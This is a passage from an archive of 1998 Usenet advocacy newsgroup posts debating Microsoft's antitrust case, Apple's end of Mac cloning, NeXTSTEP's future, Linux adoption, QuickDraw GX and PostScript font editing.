assistant at Netscape in 1997
By the way, NCSA (and later through Spyglass) was licensing Mosaic for
$100,000 up front, and an additional $5 per copy. Makes it a little
hard when your competition starts giving away a browser for free.
Todd
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Date: Tue, 17 Nov 1998 19:43:51 GMT
In <3651B16C.DB43A980@spamtoNull.com> Jonathan Harker wrote:
> I'm saying the obvious, which is that these people send dozens of emails
> every working day. To think that they'd remember two or three emails, or
> their *context*, that were three years old is absolutely ludicrous.
Which is simply sidestepping the point. The point is not whether or not
they remember the e-mails, but whether or not the e-mails are legit. They
appear to be lefit, regardless of whether of not they are remembered.
However this does seem to suggest that you no longer wish to suggest they
are faked, or of lessor value that other documents.
> Hmmm...I wonder what percentage of all of the Microsoft email these
> emails represent. 1%? 1/2 of 1%? Maybe 100th of 1%?
Oh, like that makes a difference. I'd say less than 1/100th of 1% of all
business dealings are illegal, but that doesn't make them less illegal.
> Seems the government has uncovered only three or four such emails
No, several thousand, they've just highlighted a few in the press and in
direct questioning.
You don't have a *clue*, do you?
> a body of probably thousands written over the last three years. Wonder
> how many exculpatory emails the Gov has deliberately overlooked?...:)
Now you put smileys at the end of pratically every statement you make. I
suppose this means we aren't supposed to take those portions seriously.
Let me save you the typing, no one here is taking anything you say
seriously. You wear your ignorance of this case like a badge of honor.
To turn around your own statement, just because you have no idea what
you're talking about, doesn't mean they didn't do the deeds people are
accusing them of.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Date: Tue, 17 Nov 1998 19:45:20 GMT
In <3651B55A.62B4AA04@spamtoNull.com> Jonathan Harker wrote:
> Sal Denaro wrote:
>
> >
> > Of course, you still haven't posted anything to back up your statements.
>
> I did...that was the part of the post you omitted when you took that one
> remark out of context.
Now this is truely amusing, considering that you took Sal's post out of
context by clipping out the portion where he mentions what details in
specific he's talking about.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "Knife the baby" finally appears
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Date: Tue, 17 Nov 1998 19:52:48 GMT
In <3651B2E8.F83B7977@spamtoNull.com> Jonathan Harker wrote:
> > In _Wired_ Steve stated that cloning would have worked in the 1989 to
> 1992
> > period, before Windows became to firmly entrenched. He made this
> statment
> > _before_ he returned to Apple, and is a pretty clear indication that he
> > wasn't morally opposed to cloning, but saw it as a business move.
>
> I'm well-aware of what "Steve stated." I just don't believe him.
Funny, seeing as you defend Gates' claims that he doesn't remember
e-mails with silly claims like "I don't know what you mean by that word".
So what's good enough for BG isn't good enough for anyone else it seems.
However the record is clear on this point already - certain people in
Apple wanted to kill the clones for *exactly* the announced reasons before
Jobs arrived back at Apple, including the CFO who was attempting to get
Amelio to back him most strongly in an attempt to either charge WAY more
for the product, or kill the clones outright. Amelio apparently either did
not support the idea, or didn't have the punch to carry it through, and
thus it was up to Jobs to finally do it.
You will find it hard to find even a single *shred* of evidence to back
up this highly controversial claim, and frankly I don't think anyone here
cares what you think on that particular point. However the opposite, that
cloning was actively being killed *before* SJ ran the company is well
documented and I can even quote you page numbers from "Apple" if you want.
> statements were no more than damage control made to try and smooth over
> a bad situation of his making.
His statements were made before returning to Apple. The situtation had
not developed yet, other people were actively attempting to do the same
thing, and his statements and actions match very closely indeed.
Can you offer anything to back up this statement, other than what you
"believe"?
Maury
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 12:17:22 -0500
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"Anthony D. Tribelli" wrote:
>
> Jonathan Harker (Limeyville@spamtoNull.com) wrote:
>
> : Let's talk some numbers ...
>
> No, they are not relevant. I think you missed my point. WinNT is portable,
> it can go wherever the cusomers go. Whether that is Merced or not does not
> matter to Microsoft, it only matters to Intel. Microsoft is no longer
> dependent on Intel CPUs.
>
And you completely missed my point, which is that if Microsoft was
limited to the portion of its market that is non-X86, the company would
file chapter 11 next week...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 12:25:00 -0500
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Chad Irby wrote:
>
>
> ...except that those "scanty" emails were from Microsoft's internal mail
> system. Or are you suggesting that Microsoft's "enemies" planted
> incriminating evidence in Microsoft's own internal mail system?
I'm saying the obvious, which is that these people send dozens of emails
every working day. To think that they'd remember two or three emails, or
their *context*, that were three years old is absolutely ludicrous.
>
> Aside from things like the stuff found in Bill Gates' personal
> correspondence, you mean...
>
Hmmm...I wonder what percentage of all of the Microsoft email these
emails represent. 1%? 1/2 of 1%? Maybe 100th of 1%?
....:)
Seems the government has uncovered only three or four such emails out of
a body of probably thousands written over the last three years. Wonder
how many exculpatory emails the Gov has deliberately overlooked?...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 12:19:11 -0500
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Craig Koller wrote:
>
>
> ...and they go kicking and screaming, every step of the way as somehow,
> miraculously at times, strides *are* made. Notice that PC users harp on
> price, speed, market share and buzzword compliance features, all which are
> nice, but have nothing to do with interface coherence and useability.
>
> So mechanistically predictable...
Notice how Mac users always call great X86 hardware and software
availability "buzzwords"....:)
So predictable...:)
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 12:27:40 -0500
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Rick wrote:
> >
> >
> > You haven't watched the news lately? Clinton barfed up $850,000 to Ms.
> > Jones (I think that's the right amount) just a couple of days ago. You
> > need to get out more...:)
>
> Fine. Fine. The coase was still thrown out of court for lack of merit.
> She appealed. They agreed on 850K.... but the case ws still thrown out.
>
Bzzzt--irrelevant...:) She was about to reinstitute the case, which is
why Clinton settled for a huge pile of cash...after the case was thrown
out the first time. Clinton's perjury made it likely the judge would
reopen the case.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 12:31:20 -0500
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Sal Denaro wrote:
>
> In _Wired_ Steve stated that cloning would have worked in the 1989 to 1992
> period, before Windows became to firmly entrenched. He made this statment
> _before_ he returned to Apple, and is a pretty clear indication that he
> wasn't morally opposed to cloning, but saw it as a business move.
I'm well-aware of what "Steve stated." I just don't believe him. His
statements were no more than damage control made to try and smooth over
a bad situation of his making.
>
> As much as I hate to say it, JH may be right on this account. There is
> plenty of anecdotal evidence to support this about Steve Jobs. There is
> also plenty of anecdotal evidence to support this about Bill Gates, Jean
> Loius Gasse (sp?), and Richard Stallman. I can also add Frank Lloyd Wright,
> Winston Churchill, Henry Ford and Stan Getz to that list.
You could also add Ted Bundy, Hitler, and Stalin to that list...:)
What's so great about that?
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 12:32:39 -0500
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Sal Denaro wrote:
>
> On Sat, 14 Nov 1998 11:43:58 -0500,
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >they've got a virtual springboard into the future. And, when Merced is
> >first released, it'll probably take a year to enter the mainstream
> >markets, and another couple of years after that to dominate them.
>
> I doubt that Merced will make any dents in the mainstream market for
> at least 2 years, and will not ship anywhere close to the x86 lines
> for at least 3 chip generations.
Isn't that what I said?...:)
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 16 Nov 1998 22:41:51 GMT
Organization: MediActive
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In article <david_-1611981205260001@s188-236.resnet.ucla.edu>,
david_@ucla.edu (David Kurtz) wrote:
> In article <36503958.78D07B59@spamtoNull.com>, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
>
> > Apple as
> > a company seems to dote on the near computer-illiteracy of many of its
> > users--heck, Apple doesn't just dote on that, Apple exploits the hell
> > out of it.
>
> Microsoft has built an empire on the backs of computer novices. Sheer
> numbers suggest that in comparison, Apple's 'exploitation' is a drop in
> the bucket. Who's exploiting whom? As Dave Winer likes to say, BOGU. Has
> Microsoft been hanging around your Back Orifice today?
When Apple was "doing it right," they realized that computer "novices" were
hardly idiots, as some would like to paint them. Accomplished people in
their fields had invested so much time in their areas of expertise, that to
have to learn the unwieldy language of the PC would unduly distract them
from their specialty. The Mac was, and is about the machine getting the
hell out of the way so that users can maintain their own autonomy and
accomplish those goals that relate to their own expertise.
Those who live solely within the incestuous world of computers sometimes
have a hard time understanding that computers are merely tools with which
to accomplish oft-times non-computerese tasks, and that computers are meant
to progress to the point where they speak *our* language, rather than
requiring us to expend resources trying to warp our own behavior to speak
*it's.*
(Of course, Microsoft did give us BOB.)
...and they go kicking and screaming, every step of the way as somehow,
miraculously at times, strides *are* made. Notice that PC users harp on
price, speed, market share and buzzword compliance features, all which are
nice, but have nothing to do with interface coherence and useability.
So mechanistically predictable...
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 17 Nov 1998 19:54:51 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <72skab$avn$1@nnrp1.dejanews.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <364B07B9.F4870E47@spamtoNull.com> <tbrown-1211981902390001@mv196.axom.com> <364C8CF8.9A3394D5@spamtoNull.com> <tbrown-1311981850220001@mv180.axom.com> <364D94FF.88D501D@spamtoNull.com> <72ppi3$qmu$1@nnrp1.dejanews.com> <36519895.5AF11382@spamtoNull.com>
In article <36519895.5AF11382@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Charles Swiger wrote:
>> Why? What evidence do you have that doing IE for the Mac does not benefit
>> MS more than Apple?
>
> IF Apple had said to Microsoft, "Let us use IE as our default browser
> and we'll buy $150 million of Microsoft stock and keep it three years
> before we sell it," I'd be inclined to agree with you...
That's nice, but it doesn't answer my question, either.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: antoine_RemoveThisFromAdress_@arrakis.RemoveThisFromAdress.osd.ulaval.ca (Antoine Gautier)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Switch nextstep -> linux ?
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Message-ID: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca>
Date: Tue, 17 Nov 1998 20:04:42 GMT
NNTP-Posting-Date: Tue, 17 Nov 1998 15:04:42 EDT
Greetings,
Nextstep / openstep now has less future that it used to (!), and Apple does
not appear to have rock-solid plans to keep the NeXT spirit alive, so I am
beginning to think about going over to Linux...
I sort of think that dropping DPS could be a problem, sice I do a lot of
TeXing with eps images generated by various drawing apps. Also, I would
really miss having services (or would I?).
I was wondering if there are users (not developpers) out there that have
gone this route, and what their experiences have been so far.
Thanks in advance !
---- Antoine Gautier
| Faculte des Sciences de l'Administration
| Universite Laval
| <http://www.fsa.ulaval.ca/personnel/gautiera/
| (mailto:antoine.gautier@fsa.ulaval.ca)
From: "Erik M. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MWSF MOX BOF?
Date: Sun, 15 Nov 1998 20:59:48 -0600
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <72o4dr$hfs1@odie.mcleod.net>
References: <72ijv1$5uq$1@nnrp1.dejanews.com>
Two months ago I was planning on exibiting at Mac World Expo and bring half
a dozen employees with me. Since then, It has become clear that such a plan
would be fruitless. Nobody at the show will be able to use our products,
. We are prevented by licensing agreements from demonstarting our software
on DR2. Even if OSX-Server is released at the show, it will not help us. I
don't think it violates NDA to let you all know that Apple has not told us
anything and they have certainly not given us the information/software
necessary to make an appearence at the show worthwhile.
By the way, we surveyed iMac buyers at the local BestBuy. There was one so
far. He returned his. He had never heard of MacOS-X Server. Apple is sure
helping the cause.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 17 Nov 1998 20:06:36 GMT
Organization: Primenet (602)416-7000
Message-ID: <72sl0c$f1h$1@nnrp02.primenet.com>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <72sh9j$m7m@mozo.cc.purdue.edu>
Ashootosh P. S. Palayathan <ashootos@roger.ecn.purdue.edu> wrote:
: John Jensen <jjens@primenet.com> writes:
: >There is a nice essay over at freshmeat:
: > http://editorials.freshmeat.net/ajay981115/
: >Computing is becoming a world phenomenum. The author raises the
: >interesting point that the inexpensiveness of Linux could give it a
: >billion desktops in less affluent nations.
: >Even if the billion number falls short, I thing the demographic trend
: >should be considered. It might mean for Apple that world wide share will
: >never again go up.
: >I'm sure Apple can continue to make a business in affluent countries, but
: >even there some customers might prefer a world platform.
: >John
: Are you a PC Troll?
Go ahead, call me a troll. Like it changes anything.
[snip]
: Away with those prescient anti-macadvocates on mac.advocacy, please.
I bought my first Mac in '84 and since then I've spent over twelve grand
on six Apple Macintoshes. If people like me leave, who is left?
John
From: jsavard@tenMAPSONeerf.edmonton.ab.ca (John Savard)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: Tue, 17 Nov 1998 19:56:37 GMT
Organization: Videotron Communications Ltd.
Message-ID: <3651cf09.10494447@news.prosurfr.com>
References: <72s6bh$dfl$1@nnrp03.primenet.com>
John Jensen <jjens@primenet.com> wrote, in part:
>Computing is becoming a world phenomenum. The author raises the
>interesting point that the inexpensiveness of Linux could give it a
>billion desktops in less affluent nations.
That time will come. But Linux needs 4 Megs of RAM, and the X Window
System takes 16 to run at a decent speed. So hardware costs will have
to come down.
With open source, Linux has the advantage that it can be adapted to
languages that proprietary operating systems don't bother to support.
(There was a post a while back about how the Mac, but not Windows,
supported Icelandic.)
>Even if the billion number falls short, I thing the demographic trend
>should be considered. It might mean for Apple that world wide share will
>never again go up.
As long as their share goes up relative to Microsoft. What's important
for now is how their share goes up in the part of the world where
there's money to be made.
Certainly, there's a point or two in the article otherwise that was of
interest. Many people _would_ be quite content with a graphical word
processor for X Windows that just had the same features as Microsoft
Write from Windows 3.1. (I remember not being able to get my printer -
supposedly an HP DeskJet compatible - to work with Linux...)
It will probably be easier for computers to spread through the poorer
countries of the world than for it to be possible to provide the
people there with adequate food and housing, since the production of
those is a mature technology.
What are the preconditions to computers spreading in the poorer
nations, so that the fact that Linux is free will matter more?
* Low hardware costs.
Computer monitors are pretty expensive. The keyboard also has a bottom
price, but that is fairly low.
Could a computer running Linux have a Pentium-class processor, but
look like a Commodore-64? Right now, many X Window System programs
expect a 1280 x 1024 screen. X Windows at 320 x 200 resolution?
* Literacy.
You need to have some degree of education to have anything you would
really want to do with a computer.
Of course, you don't need to be a math whiz: the Internet is an
appplication that meets a universal human need, to converse with
others, to find out what is going on.
* Infrastructure.
Many Third World countries don't have much in the way of phone
service, and the electrical power isn't reliable. Computers for the
masses in the cities of India may be a reality soon, but in the
villages of Africa, it will take a bit longer.
Of course, right now, handheld pocket calculators are going for really
low prices.
It's not *at all* unrealistic that in a few years (in fact, I'm
wondering why it hasn't happened already - I'm _guessing_ patent
problems) someone sticks a 16 line by 32 character display - like in
the early personal organizers, or the graphic pocket calculators - on
a $10 pocket computer you can program in BASIC.
That has nothing to do with Linux, but it's definitely a computer that
even the Third World could afford.
Of course, to be useful, it needs the equivalent of a really cheap
floppy disk drive...a RAM disk that can be saved to an audio cassette
would do.
John Savard
http://www.freenet.edmonton.ab.ca/~jsavard/index.html
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Macccentral on GX and MacOS X
Date: 16 Nov 1998 03:24:29 GMT
Organization: Primenet (602)416-7000
Message-ID: <72o5td$k04$1@nnrp02.primenet.com>
References: <B2747872-5439@206.165.43.37>
Interesting in general. The only bit I find astounding is the statment
that GX was the very first object oriented engine from the ground up:
: Menno believes GX was (is) far superior to both the original QuickDraw and
: to Postscript, being the very first object oriented engine from the ground
: up. (Everything is an object, or a "shape" in GX.
My recollection of the early days of OO (in the mid '80s) was that the
"shape" class was literally the textbox example used to illustrate OO
principles.
Was GX really the first complete OO engine in the whole world?
John
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
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<72pufo$goo@newsb.netnews.att.com> <36509448.18CC0E10@exu.ericsson.se>
<72q6l0$ps2@newsb.netnews.att.com> <3650B378.684BEB0E@exu.ericsson.se>
<72srn9$ah5$1@news.asu.edu>
Message-ID: <Wuo42.1546$rY3.5203516@news.rdc1.sdca.home.com>
Date: Wed, 18 Nov 1998 00:26:30 GMT
NNTP-Posting-Date: Tue, 17 Nov 1998 16:26:30 PDT
Organization: @Home Network
In <72srn9$ah5$1@news.asu.edu> not@my.address.net wrote:
> On 11/16/98, Michael Peck wrote:
>
> >
> >The very idea that laws can be applied differently based on status or
> >influence is nauseating; it contradicts Rule of Law at its core. The
> >idea that Microsoft is culpable of offenses for which lesser competitors
> >would not be held liable seems to be the basis for this suit, and is one
> >of the most discouraging concepts I have seen discussed before the
> >Supreme Court in my entire lifetime.
>
>
We haven't wasted any of the nine sitting Supreme Court Justices time...
Don't get confused... the law unjustly gets applied selectively everyday.
By the IRS, Federal gov't and local officials, selective enforcement _is_
the method of choice. Were that not the case, not@my.address.net's "tying"
premise would validate the "teenage defense". Wherein every teenager claims
non-responsibility for their actions because everyone else does it. Such
immature thinking characterizes ill-formed logic that actions should not be
judged by their indended consequences.
Which brings us back to the "rule" being applied to the MS case... MS is
not any company. MS is a mature company with power to affect the course and
direction of its actions. It is the consequences of MS actions that are on
trial. To the extent that MS by its actions as a corporate citizen have as
their consequence the effect of a monopoly against other citizens in the
marketplace is the only measure by which anti-trust law can be measured.
Evidence to date attempts to directly associate marketplace consequences to
MS monopoly actions. The monopoly case against MS is going to "hinge" on
whether MS practices intended those consequences.
Did MS intend to crush Netscape Navigator
Did MS intend to kill Intel software
Did MS intend to co-opt Sun's JavaOS
Did MS intend to neutralize Quicktime on WinXX
Did MS intend to keep Apple alive
What actions did MS practice to effect those consequences? To what extent
were those consequences independent and unrelated to MS actions. To what
extent are all the consequences related as a whole?
-r
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MWSF MOX BOF?
Date: Sun, 15 Nov 1998 22:36:05 -0500
Organization: Styx DTP
Sender: monner@dial01p34.ottawa.storm.ca
Message-ID: <364F9DA3.644B8EDC@tone.ca>
References: <72ijv1$5uq$1@nnrp1.dejanews.com> <72o4dr$hfs1@odie.mcleod.net>
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NNTP-Posting-Date: 16 Nov 1998 03:37:23 GMT
>>We are prevented by licensing agreements from demonstarting our
software
>>on DR2. Even if OSX-Server is released at the show, it will not help
us. I
>>don't think it violates NDA to let you all know that Apple has not
told us
>>nything and they have certainly not given us the information/software
>>necessary to make an appearence at the show worthwhile.
I think someone has already made this point, but theres a bunch of
WebObjects seminars starting Dec. 1. They aren't likely to be using
Intel boxes for these. Maybe this is an indication we'll see something
late November? No?
Michael Monner
From: greidXX@rightbrainXX.com (Glenn Reid)
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old.. Was: Re: iMac for $29
Date: Sun, 15 Nov 1998 19:50:37 -0800
Organization: Apple Computer, Inc.
Message-ID: <greidXX-1511981950370001@rara2ppp25.apple.com>
References: <728729$2gl$1@news.xmission.com> <72c88o$n8n@post.gsfc.nasa.gov>
Scott Robinson wrote:
> Don Yacktman writes
> >
> > I went and scanned the ad and you can see it for yourself at:
> >
> > http://www.of.org/pu.jpg
> >
>
> Many thanx! It makes great wallpaper on my 'doze machine...
Heh. Yeah, I copied it down and made it the background pattern
on my Macintosh G3 as well :-) Thanks for scanning it and posting
it. Brings back good memories.
Glenn
--
remove XX from address when replying via Email
Message-ID: <364FB746.72807526@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: MWSF MOX BOF?
References: <72ijv1$5uq$1@nnrp1.dejanews.com> <72o4dr$hfs1@odie.mcleod.net>
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NNTP-Posting-Date: Mon, 16 Nov 1998 00:21:35 EDT
Date: Sun, 15 Nov 1998 21:25:26 -0800
Erik M. Buck wrote:
* Two months ago I was planning on exibiting at Mac World
* Expo and bring half a dozen employees with me. Since
* then, It has become clear that such a plan would be
* fruitless. Nobody at the show will be able to use our
* products. We are prevented by licensing agreements
* from demonstarting our software on DR2. Even if
* OSX-Server is released at the show, it will not help us.
* I don't think it violates NDA to let you all know that
* Apple has not told us anything and they have certainly
* not given us the information/software necessary to make
* an appearence at the show worthwhile.
* By the way, we surveyed iMac buyers at the local BestBuy.
* There was one so far. He returned his. He had never
* heard of MacOS-X Server. Apple is sure helping the
* cause.
Here's a more positive plan:
o abandon all MacOSX/OpenStep/NextStep development
right now.
o cease posting to this newsgroup.
o go to the refridgerator and get out the
bottle of Hemlock . . .
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Macccentral on GX and MacOS X
Date: 15 Nov 98 22:22:55 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B27504C2-1664E@206.165.43.82>
References: <72o5td$k04$1@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.next.advocacy
John Jensen <jjens@primenet.com> said:
>
>My recollection of the early days of OO (in the mid '80s) was that the
>"shape" class was literally the textbox example used to illustrate OO
>principles.
>
>Was GX really the first complete OO engine in the whole world?
Not hardly, since SmallTalk-80 used objects at ALL levels for its graphics
engine (and everything else, for that matter).
However, GX likely was the first major *standalone* graphics library that
was designed as a set of objects, although it still isn't as Object
Oriented as SmallTalk's and the API isn't object-oriented, but rather,
object-*based*, since it doesn't support inheritance save in the most
roundabout sort of way.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Message-ID: <364FB8F4.998A7F8A@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: I grow old
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<36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com>
<364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com>
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NNTP-Posting-Date: Mon, 16 Nov 1998 00:28:46 EDT
Date: Sun, 15 Nov 1998 21:32:37 -0800
Rex Riley wrote:
* At least you came out of this with your sense
* of humor. That's more than I can say for my
* sense of recollection :-)
* Thank you for your efforts and especially chasing down
* Glenn with the facts to backup your recollection of the
* truth. It's obvious to me that I've conveniently
* compressed recollections to make more space for my
* limited greyware...
Hey --- this is not a contest. I'm happy to see NextStep
people enthusiastic about the great platform we had, and,
one hopes, the great platform we will have again, if the
Mac retrograde community don't do it in.
In the meantime, I'm hacking Java-based applications. All
of the engineers in the company I'm working with are former
NextStep developers, so you can expect some Good Stuff.
Remember, one of these days, Machine Language Will Rise Again.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MWSF MOX BOF?
Date: Mon, 16 Nov 1998 01:01:30 -0500
Content-Transfer-Encoding: 7bit
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Michael <michael@tone.ca> wrote:
>I think someone has already made this point, but theres a bunch of
>WebObjects seminars starting Dec. 1. They aren't likely to be using
>Intel boxes for these.
They have been showing WO on Toshiba's for as long as I can remember. What's the
difference now?
Ziya Oz
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Microsoft wants your help
Message-ID: <1998Nov13.193503.10941@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <yl390hkvd40.fsf@shell8.ba.best.com>
Date: Fri, 13 Nov 1998 19:35:03 GMT
In article <yl390hkvd40.fsf@shell8.ba.best.com> writes:
> consumers. That is where Microsoft has crossed the line. They cannot
> show that the reason why vendors are using their products exclusively is
> because their products consistently perform better or are
technologically
> superior than their competitors. That's there only away out of this case
> and it's not going to happen.
Actually, Microsoft does *not* have to show anything ... they are the ones
being sued, so they only have to disprove & discredit the DOJ's case as
it's presented. Plant doubt. It's up to the DOJ to show that they *did*
indeed use their power to force vendors to use their products exclusively,
and that is a difficult one to prove, at least from a legal standpoint.
Sorry, I'm not bashing the anti-M$ here. My college Eco thesis was on
antitrust.
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Tweaking fonts (was Re: I grow old)
Date: 16 Nov 1998 09:06:10 GMT
Organization: MiscKit Development
Message-ID: <72opu2$nbk$1@news.xmission.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca> <71vti6$96p@shelob.afs.com> <726u8k$dkf$2@sun27.hrz.tu-darmstadt.de> <forrestDELETE-THIS!-0911981126120001@term3-8.vta.west.net> <727i58$d2b$2@sun27.hrz.tu-darmstadt.de> <727kku$rih@shelob.afs.com> <ZmN12.63$rY3.396017@news.rdc1.sdca.home.com> <728f6m$g3@shelob.afs.com> <3647DCC4.4792B75A@trilithon.com> <qc_12.116$rY3.724777@news.rdc1.sdca.home.com> <36493710.E6588BA1@trilithon.com> <0Dm22.450$rY3.970431@news.rdc1.sdca.home.com> <364F6665.8D0BA59A@trilithon.com>
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Henry McGilton <henry@trilithon.com> wrote:
> I cranked up the old NextStep software stuff over the weekend and
> took a look at a couple of bits and pieces. The nearest thing that
> comes close to what you describe is Create from Andrew Stone. Create
> can do all kinds of funky effects with graphics, and the effects look
> especially wild and crazy with text. But all the effects that Create
> can achieve can be done with straight old PostScript affine
> transforms ---there's no need to get inside the actual font itself.
> No licensing problem would raise its head.
Hmmm...even if PasteUp didn't do it, I personally know of an app that did let
you really tweak things around.
We never got far enough to run into licensing problems with Adobe, but I
wrote (with Scott Anguish) an app called Opus and you *could* totally tweak
letters to your heart's content with that app. You'd give it text and a font
and it would give you back a Bezier curve you could edit. Actually, to be
more precise, you'd get a _path_ to edit. Some segments would be Beziers,
others would be straight line segments.
This app sure is great for designing logotypes... Here's a quickie info sheet
that's been around for a while on the web and many people here have already
seen:
http://www.yacktman.org/don/opussamp.html
Besides editing the letters, you could also do non-affine transforms to warp
blocks of text in strange ways. Let me describe some of the text effects on
this page so that you know what it is that you're looking at. Note that
these are "final" output graphics, so you can't see the guide lines and
control points that are in the app itself. If there's enough interest,
though, I suppose I could add a screen shot showing what that part of the app
looks like.
If you look at the page above, the "Big Time" graphic is warped with a
transform that stretches the font to fit an outline that is two parallel
vertical lines connected by perfect circular arcs. You can drag the parallel
lines in and out, change their height, and drag the radius of the circle in
and out (and go concave instead of convex as seen in the example.)
A little further down, "Reality?" is a rectangular warp; drap any of the four
corners where ever you want. You can drag a bottom point above a top point
to make the text twist and flip upside down on one side, too.
"Swooping" and "TwistoBendo" are both like the circular warp above but with
the circular arcs replaced by Bezier curve segments. The difference in the
two has to do with how you interpret the warp--do you force the points to
only be shifted vertically to fit in the outlined space, or do you allow the
them to shift horizontally as well, attracted by the Bezier control points?
The two PoNG logos further on down the page were a little trickier. The
first is unwarped, but "Pong" was turned into a Bezier curve. I then tweaked
the descender on the "g" to stretch it way out. The Text overlaid on top of
the stretched portion is a Bezier warped block of text without horizontal
movement. The second logo started with a Bezier warp on "PoNG", but then I
turned it into an editable path and dragged the bottom left of the "N" down,
so there's tweaking beyond the initial warp. The text at the bottom is a
circular warp with a zero radius for the lower arc.
This was/is a fun app to play with, notwithstanding a few rather irritating
bugs we never did get around to fixing. Maybe someday I'll have time do a
rewrite for Mac OS X. This app was written in about 2-3 man months...a very
intense few months, though! We never did get to ship this due to _other_
licensing and similar SNAFUs, but to be sure, none of the problems had
anything to do with Adobe...but they also mean that I'd have to do a rewrite,
NOT a port if I ever wanted to let anyone but me play with it.
By the way, for those of you wondering how to get an editable font path, take
a look at the "pathforall" operator in Postscript. Note that the Red book
points out that fonts with protected outlines won't work with this operator,
so I would think that the licensing issue with Adobe would be moot: if they
don't want you tweaking their fonts, they can "protect" them. Otherwise,
